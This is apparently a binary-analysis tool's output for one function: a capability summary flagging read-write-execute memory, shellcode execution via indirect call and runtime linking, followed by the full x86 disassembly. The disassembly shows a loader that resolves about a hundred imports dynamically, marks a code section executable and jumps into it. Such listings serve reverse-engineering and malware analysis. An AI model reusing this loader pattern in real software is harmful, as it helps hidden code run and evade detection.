Function at 0x401070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x40
push eax
push 0x40
push 0x2a000
push 0x41f430
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x10000
push 0x44b618
push 0x420430
call fcn.00403140
push 0x8000
push 0x416890
push 0x430430
call fcn.00403140
push 0x2000
push 0x414890
push 0x438430
call fcn.00403140
add esp, 0x24
push 0x411d2c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x401aad
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x411d3c
push edi
call esi
mov dword [0x430464], eax
test eax, eax
je 0x401aad
push 0x411d4c
push edi
call esi
mov dword [0x430468], eax
test eax, eax
je 0x401aad
push 0x411d60
push edi
call esi
mov dword [0x43046c], eax
test eax, eax
je 0x401aad
push 0x411d70
push edi
call esi
mov dword [0x430470], eax
test eax, eax
je 0x401aad
push 0x411d84
push edi
call esi
mov dword [0x430474], eax
test eax, eax
je 0x401aad
push 0x411d90
push edi
call esi
mov dword [0x430478], eax
test eax, eax
je 0x401aad
push 0x411d9c
push edi
call esi
mov dword [0x43047c], eax
test eax, eax
je 0x401aad
push 0x411dac
push edi
call esi
mov dword [0x430480], eax
test eax, eax
je 0x401aad
push 0x411db8
push edi
call esi
mov dword [0x430484], eax
test eax, eax
je 0x401aad
push 0x411dd4
push edi
call esi
mov dword [0x430488], eax
test eax, eax
je 0x401aad
push 0x411de4
push edi
call esi
mov dword [0x43048c], eax
test eax, eax
je 0x401aad
push 0x411df8
push edi
call esi
mov dword [0x430490], eax
test eax, eax
je 0x401aad
push 0x411e04
push edi
call esi
mov dword [0x430494], eax
test eax, eax
je 0x401aad
push 0x411e18
push edi
call esi
mov dword [0x430498], eax
test eax, eax
je 0x401aad
push 0x411e24
push edi
call esi
mov dword [0x43049c], eax
test eax, eax
je 0x401aad
push 0x411e2c
push edi
call esi
mov dword [0x4304a0], eax
test eax, eax
je 0x401aad
push 0x411e40
push edi
call esi
mov dword [0x4304a4], eax
test eax, eax
je 0x401aad
push 0x411e5c
push edi
call esi
mov dword [0x4304a8], eax
test eax, eax
je 0x401aad
push 0x411e6c
push edi
call esi
mov dword [0x4304ac], eax
test eax, eax
je 0x401aad
push 0x411e7c
push edi
call esi
mov dword [0x4304b0], eax
test eax, eax
je 0x401aad
push 0x411e94
push edi
call esi
mov dword [0x4304b4], eax
test eax, eax
je 0x401aad
push 0x411ea4
push edi
call esi
mov dword [0x4304b8], eax
test eax, eax
je 0x401aad
push 0x411eb4
push edi
call esi
mov dword [0x4304bc], eax
test eax, eax
je 0x401aad
push 0x411ec0
push edi
call esi
mov dword [0x4304c0], eax
test eax, eax
je 0x401aad
push 0x411ecc
push edi
call esi
mov dword [0x4304c4], eax
test eax, eax
je 0x401aad
push 0x411ed8
push edi
call esi
mov dword [0x4304c8], eax
test eax, eax
je 0x401aad
push 0x411ee8
push edi
call esi
mov dword [0x4304cc], eax
test eax, eax
je 0x401aad
push 0x411ef8
push edi
call esi
mov dword [0x4304d0], eax
test eax, eax
je 0x401aad
push 0x411f08
push edi
call esi
mov dword [0x4304d4], eax
test eax, eax
je 0x401aad
push 0x411f18
push edi
call esi
mov dword [0x4304d8], eax
test eax, eax
je 0x401aad
push 0x411f28
push edi
call esi
mov dword [0x4304dc], eax
test eax, eax
je 0x401aad
push 0x411f38
push edi
call esi
mov dword [0x4304e0], eax
test eax, eax
je 0x401aad
push 0x411f48
push edi
call esi
mov dword [0x4304e4], eax
test eax, eax
je 0x401aad
push 0x411f54
push edi
call esi
mov dword [0x4304e8], eax
test eax, eax
je 0x401aad
push 0x411f60
push edi
call esi
mov dword [0x4304ec], eax
test eax, eax
je 0x401aad
push 0x411f6c
push edi
call esi
mov dword [0x4304f0], eax
test eax, eax
je 0x401aad
push 0x411f78
push edi
call esi
mov dword [0x4304f4], eax
test eax, eax
je 0x401aad
push 0x411f84
push edi
call esi
mov dword [0x4304f8], eax
test eax, eax
je 0x401aad
push 0x411f94
push edi
call esi
mov dword [0x4304fc], eax
test eax, eax
je 0x401aad
push 0x411fa0
push edi
call esi
mov dword [0x430500], eax
test eax, eax
je 0x401aad
push 0x411fb4
push edi
call esi
mov dword [0x430504], eax
test eax, eax
je 0x401aad
push 0x411fc4
push edi
call esi
mov dword [0x430508], eax
test eax, eax
je 0x401aad
push 0x411fd8
push edi
call esi
mov dword [0x43050c], eax
test eax, eax
je 0x401aad
push 0x411fec
push edi
call esi
mov dword [0x430510], eax
test eax, eax
je 0x401aad
push 0x411ffc
push edi
call esi
mov dword [0x430514], eax
test eax, eax
je 0x401aad
push 0x41200c
push edi
call esi
mov dword [0x430518], eax
test eax, eax
je 0x401aad
push 0x412018
push edi
call esi
mov dword [0x43051c], eax
test eax, eax
je 0x401aad
push 0x412030
push edi
call esi
mov dword [0x430520], eax
test eax, eax
je 0x401aad
push 0x412048
push edi
call esi
mov dword [0x430524], eax
test eax, eax
je 0x401aad
push 0x41205c
push edi
call esi
mov dword [0x430528], eax
test eax, eax
je 0x401aad
push 0x412070
push edi
call esi
mov dword [0x43052c], eax
test eax, eax
je 0x401aad
push 0x412088
push edi
call esi
mov dword [0x430530], eax
test eax, eax
je 0x401aad
push 0x4120a0
push edi
call esi
mov dword [0x430534], eax
test eax, eax
je 0x401aad
push 0x4120c8
push edi
call esi
mov dword [0x430538], eax
test eax, eax
je 0x401aad
push 0x4120d4
push edi
call esi
mov dword [0x43053c], eax
test eax, eax
je 0x401aad
push 0x4120e0
push edi
call esi
mov dword [0x430540], eax
test eax, eax
je 0x401aad
push 0x4120f8
push edi
call esi
mov dword [0x430544], eax
test eax, eax
je 0x401aad
push 0x412108
push edi
call esi
mov dword [0x430548], eax
test eax, eax
je 0x401aad
push 0x412124
push edi
call esi
mov dword [0x43054c], eax
test eax, eax
je 0x401aad
push 0x412140
push edi
call esi
mov dword [0x430550], eax
test eax, eax
je 0x401aad
push 0x41215c
push edi
call esi
mov dword [0x430554], eax
test eax, eax
je 0x401aad
push 0x41216c
push edi
call esi
mov dword [0x430558], eax
test eax, eax
je 0x401aad
push 0x412184
push edi
call esi
mov dword [0x43055c], eax
test eax, eax
je 0x401aad
push 0x412198
push edi
call esi
mov dword [0x430560], eax
test eax, eax
je 0x401aad
push 0x4121b0
push edi
call esi
mov dword [0x430564], eax
test eax, eax
je 0x401aad
push 0x4121c4
push edi
call esi
mov dword [0x430568], eax
test eax, eax
je 0x401aad
push 0x4121d0
push edi
call esi
mov dword [0x43056c], eax
test eax, eax
je 0x401aad
push 0x4121e0
push edi
call esi
mov dword [0x430570], eax
test eax, eax
je 0x401aad
push 0x4121f0
push edi
call esi
mov dword [0x430574], eax
test eax, eax
je 0x401aad
push 0x4121fc
push edi
call esi
mov dword [0x430578], eax
test eax, eax
je 0x401aad
push 0x412208
push edi
call esi
mov dword [0x43057c], eax
test eax, eax
je 0x401aad
push 0x412214
push edi
call esi
mov dword [0x430580], eax
test eax, eax
je 0x401aad
push 0x41221c
push edi
call esi
mov dword [0x430584], eax
test eax, eax
je 0x401aad
push 0x41222c
push edi
call esi
mov dword [0x430588], eax
test eax, eax
je 0x401aad
push 0x412238
push edi
call esi
mov dword [0x43058c], eax
test eax, eax
je 0x401aad
push 0x41224c
push edi
call esi
mov dword [0x430590], eax
test eax, eax
je 0x401aad
push 0x412260
push edi
call esi
mov dword [0x430594], eax
test eax, eax
je 0x401aad
push 0x412270
push edi
call esi
mov dword [0x430598], eax
test eax, eax
je 0x401aad
push 0x41227c
push edi
call esi
mov dword [0x43059c], eax
test eax, eax
je 0x401aad
push 0x412288
push edi
call esi
mov dword [0x4305a0], eax
test eax, eax
je 0x401aad
push 0x41229c
push edi
call esi
mov dword [0x4305a4], eax
test eax, eax
je 0x401aad
push 0x4122ac
push edi
call esi
mov dword [0x4305a8], eax
test eax, eax
je 0x401aad
push 0x4122bc
push edi
call esi
mov dword [0x4305ac], eax
test eax, eax
je 0x401aad
push 0x4122c4
push edi
call esi
mov dword [0x4305b0], eax
test eax, eax
je 0x401aad
push 0x4122d0
push edi
call esi
mov dword [0x4305b4], eax
test eax, eax
je 0x401aad
push 0x4122dc
push edi
call esi
mov dword [0x4305b8], eax
test eax, eax
je 0x401aad
push 0x4122ec
push edi
call esi
mov dword [0x4305bc], eax
test eax, eax
je 0x401aad
push 0x412300
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x401aad
push 0x41230c
push edi
call esi
mov dword [0x4305d8], eax
test eax, eax
je 0x401aad
push 0x412318
push edi
call esi
mov dword [0x4305dc], eax
test eax, eax
je 0x401aad
push 0x412324
push edi
call esi
mov dword [0x4305e0], eax
test eax, eax
je 0x401aad
push 0x412338
push edi
call esi
mov dword [0x4305e4], eax
test eax, eax
je 0x401aad
push 0x412348
push edi
call esi
mov dword [0x4305e8], eax
test eax, eax
je 0x401aad
push 0x412354
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x401aad
push 0x412364
push edi
call esi
mov dword [0x430430], eax
test eax, eax
je 0x401aad
push 0x41237c
push edi
call esi
mov dword [0x430434], eax
test eax, eax
je 0x401aad
push 0x41238c
push edi
call esi
mov dword [0x430438], eax
test eax, eax
je 0x401aad
push 0x4123a0
push edi
call esi
mov dword [0x43043c], eax
test eax, eax
je 0x401aad
push 0x4123b8
push edi
call esi
mov dword [0x430440], eax
test eax, eax
je 0x401aad
push 0x4123cc
push edi
call esi
mov dword [0x430444], eax
test eax, eax
je 0x401aad
push 0x4123e0
push edi
call esi
mov dword [0x430448], eax
test eax, eax
je 0x401aad
push 0x4123f0
push edi
call esi
mov dword [0x43044c], eax
test eax, eax
je 0x401aad
push 0x412400
push edi
call esi
mov dword [0x430450], eax
test eax, eax
je 0x401aad
push 0x412414
push edi
call esi
mov dword [0x430454], eax
test eax, eax
je 0x401aad
push 0x412424
push edi
call esi
mov dword [0x430458], eax
test eax, eax
je 0x401aad
push 0x412430
push edi
call esi
mov dword [0x43045c], eax
test eax, eax
je 0x401aad
push 0x412440
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x401aad
push 0x41244c
push edi
call esi
mov dword [0x4305c4], eax
test eax, eax
je 0x401aad
push 0x9b
push edi
call esi
mov dword [0x4305c8], eax
test eax, eax
je 0x401aad
push 0xbe
push edi
call esi
mov dword [0x4305cc], eax
test eax, eax
je 0x401aad
push 0x412468
push edi
call esi
mov dword [0x4305d0], eax
test eax, eax
je 0x401aad
push 0x412478
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x401aad
push 0x412484
push edi
call esi
mov dword [0x4305f0], eax
test eax, eax
je 0x401aad
push 0x412494
push edi
call esi
mov dword [0x4305f4], eax
test eax, eax
je 0x401aad
push 0x4124a4
push edi
call esi
mov dword [0x4305f8], eax
test eax, eax
je 0x401aad
push 0x4124b8
push edi
call esi
mov dword [0x4305fc], eax
test eax, eax
je 0x401aad
lea eax, [ebp - 4]
push eax
push 0x40
push 0x1616
push section..text_1
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0x401040
push dword [0x41f424]
mov eax, section..text_1
call eax
add esp, 0xc
mov dword [0x439184], 0
mov dword [0x41f420], 0x4230e3
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret